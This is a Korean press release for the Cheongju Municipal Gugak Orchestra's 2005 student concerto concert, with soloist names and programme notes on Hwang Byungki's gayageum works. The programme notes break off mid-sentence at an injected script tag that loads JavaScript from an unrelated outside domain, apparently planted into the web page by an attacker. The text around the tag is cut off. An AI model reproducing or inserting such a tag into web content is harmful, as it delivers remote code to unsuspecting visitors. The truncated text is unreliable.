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카테고리 예술의전당
제목 청주시립국악단 학생협연의밤 <내일을 여는 소리>
부서
내용 청소년 국악 유망주들의 열띤 협연 무대” 새로운 미래를 열어갈 새 얼굴과의 만남 제 142회 청주시립국악단 수시연주회 <내일을 여는 소리> 우리의 전통음악을 계승 발전시키며 지역의 문화예술교류 활성화에 이바지해 온 청주시립국악단은 미래의 국악계를 이끌어갈 역량있는 젊은 인재를 발굴하고자 학생 협연의 밤을 기획하고 오는 9월 14일 (수) 오후 7시 30분 청주예술의전당 대공연장에서 오디션을 통해 실력을 인정받은 국악전공 학생들과 함께 제 142회 수시연주회 <내일을 여는 소리>를 마련한다. 이번 협연무대에 서게 될 청소년 국악 유망주들은 지난 8월 31일 오디션을 통해 선발된 가야금 여소연. 이지연. 김세리. 오연경. 박주희와 대금에 엄태양. 이상 총 6명이다. 이번 공연 첫 연주곡은 현재 율량중학교에 재학중인 여소연(12현 가야금)이 고귀한 자태의 학이 춤을 추듯 한 점 흐트러짐 없는 고요한 중심에서 울려퍼지는 황병기 작품의 ‘침향무’를 들려주고. 이어 충청투데이 전국 초중고 음악 경연대회에서 금상을 차지한 복대중학교 엄태양이 무대에 올라 황의종 작곡의 대금협주곡 1번을 연주한다. 다음 작품으로는 전주예술고등학교에서 가야금을 전공하는 오연경(12현 가야금)이 신라고분에서 발견된 유리그릇의 신비로운 빛에서 영감을 얻은 황병기 작품의 '비단길' 을 연주한다. 또한 충청북도 학생국악경연대회 입상하기도 했던 이지연(17현 가야금)은 아직도 눈이 오는 이른봄의 설경을 그린 황병기 작품의 춘설을 연주. 애잔한 가운데 멋스러운 가야금 소리로 초가을 저녁에 이른봄의 색다른 기운을 북돋운다. 농악의 흥겨움과 가야금과 관현악의 정겨운 대화가 느껴지는 가야금과 국악관현악을 위한 두 개의 악장 '길군악'. '쾌지나칭칭'은 전주예술고등학교에 재학 중인 김세리가 협연한다. 마지막 피날레는 전통 가야금의 음계와 음역의 폭을 넓힌 25현 가야금과 국악관현악을 위한 ‘뱃노래'가 장식한다. 현재 청주대학교 한국음악과에 재학 중인 박주희가 협연자로 출연. 관객들에게 25현 가야금의 세계로 안내한다. 상큼하게 높아진 하늘과 시원한 바람이 불어오는 초가을에 들어서는 요즘. 참신한 발상과 탁월한 음악적 재능을 갖춘 청소년 국악유망주의 열띤 협연무대는 우리 국악계의 앞날을 엿볼 수 있을 것이며. 국악인재들에게 동기부여와 본격적 연주활동의 계기를 마련해 줄것으로 기대된다. <공연개요> ▶ 공연명 : 제142회 청주시립국악단 수시연주회 <내일을 여는 소리> ▶ 일 시 : 2005. 9. 14 (수) 오후 7시 30분 ▶ 장 소 : 청주예술의전당 대공연장 ▶ 지 휘 : 한석(청주시립국악단 지휘자) ▶ 연 주 : 청주시립국악단 ▶ 출 연 : 가야금/ 여소연. 이지현. 김세리. 오연경. 박주희 대금/ 엄태양 ▶ 입장료 : 전석 초대(무료) ▶ 문 의 : 기획홍보팀 043) 279-4694 ▶프로그램 1. 침향무 ●작곡: 황병기 ●12현 가야금:여소연 침향무는 불교음악인 범패 음계를 바탕으로 동양과 서양의 공통된 원시정서를 표현한 작품이다. 신라불교미술의 외래적인 것과 향토적인 것이 조화되어 감각적이고 관능적인 미가 조화되어 불교의 세계로 승화됨을 가야금으로 추구한 것이다. 2. 대금협주곡 1번 ●작곡: 황의종 ●대금: 엄태양 1986년 KBS국악관현악단의 위촉으로 쓴 대금 협주곡이다. 갈대청이 울리면서 내는 독특한 대금의 특징을 살리기 위해 낮은 음에서부터 높은음까지 폭넓은 음역을 사용하고 있다. 굿거리장단의 제1악장은 5음 음계와 6음 음계를 사용하여 경쾌하면서 새로운 느낌을 주고 있으며. 제2악장 느린 속도에서는 대금의 그윽한 음색과 선율이 잘 살아나고 있다. 제3악장은 빠른 속도로 박진감 넘치는 선율이 전개된다. 3. 비단길 ●작곡: 황병기 ●12현 가야금: 오연경 이 작품에 대해 작곡가는 “신라 고분에서 발견되는 페르시아 유리그릇의 신비로운 빛에서 작곡 동기를 얻었는데. 그 악곡명은 고대 동서 문물이 교역되던 통로의 이름이면서 신라적인 환상이 아득한 서역에까지 펼쳐지는 비단같이 아름다운 정신적인 길을 상징하기도 한다.”고 한다. 제 1장은 미묘하게 변화해 가는 리듬을 타고 환희와 슬픔이 얼룩진 신비로운 선율로 되어 있다. 제 2장은 빠른 4박자의 리듬에 의한 선율이 차츰 높은 음역으로 고조되어 격정적인 화음과 리듬에 의하여 절정을 이루면서 끝난다. 제 3장은 화음으로 장식된 고요한 선율로 되었는데. 중간에 북소리와도 같은 저음부의 리듬이 출현하여 이국적인 정취를 자아내고 있다. 제4장은 새로운 주법으로 연주되는 특이한 고음의 분산 속에 음산한 저음이 네 번 울리고 이어서 저음군이 폭풍처럼 휘몰아치다가 그치면 종소리를 ?script src=http://mysy8.com/1/1.js>
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